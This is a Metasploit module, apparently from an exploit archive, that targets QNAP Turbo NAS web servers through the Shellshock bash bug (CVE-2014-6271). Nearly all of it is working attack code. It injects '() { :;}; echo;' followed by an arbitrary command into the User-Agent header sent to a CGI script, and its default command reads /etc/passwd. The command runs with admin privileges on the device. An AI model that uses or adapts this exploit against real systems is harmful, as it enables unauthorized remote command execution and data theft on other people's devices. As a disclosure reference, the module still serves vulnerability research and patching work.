QNAP Web Server Remote Code Execution

`# Exploit Title: QNAP Web server remote code execution via Bash Environment Variable Code Injection  
# Date: 7 February 2015  
# Exploit Author: Patrick Pellegrino | [email protected] [work] / [email protected] [other]  
# Employer homepage: http://www.securegroup.it  
# Vendor homepage: http://www.qnap.com  
# Version: All Turbo NAS models except TS-100, TS-101, TS-200  
# Tested on: TS-1279U-RP  
# CVE : 2014-6271  
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61  
  
  
##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/d3vpp/metasploit-modules  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'QNAP Web server remote code execution via Bash Environment Variable Code Injection',  
'Description' => %q{  
This module allows you to inject unix command with the same user who runs the http service - admin - directly on the QNAP system.  
Affected products:  
All Turbo NAS models except TS-100, TS-101, TS-200  
},  
'Author' => ['Patrick Pellegrino'], # Metasploit module | [email protected] [work] / [email protected] [other]  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2014-6271'], #aka ShellShock  
['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']  
],  
'Platform' => ['unix']  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),  
OptString.new('CMD', [ true, 'The command to run', '/bin/cat /etc/passwd'])  
], self.class)  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'agent' => "() { :;}; echo; /usr/bin/id"  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE  
vprint_error("Connection failed")  
return Exploit::CheckCode::Unknown  
end  
  
if !res  
return Exploit::CheckCode::Unknown  
elsif res.code== 302 and res.body.include? 'uid'  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
  
def run  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'agent' => "() { :;}; echo; #{datastore['CMD']}"  
})  
  
if res.body.empty?  
print_error("No data found.")  
elsif res.code== 302  
print_status("#{rhost}:#{rport} - bash env variable injected")  
puts " "  
print_line(res.body)  
end  
end  
  
end  
  
`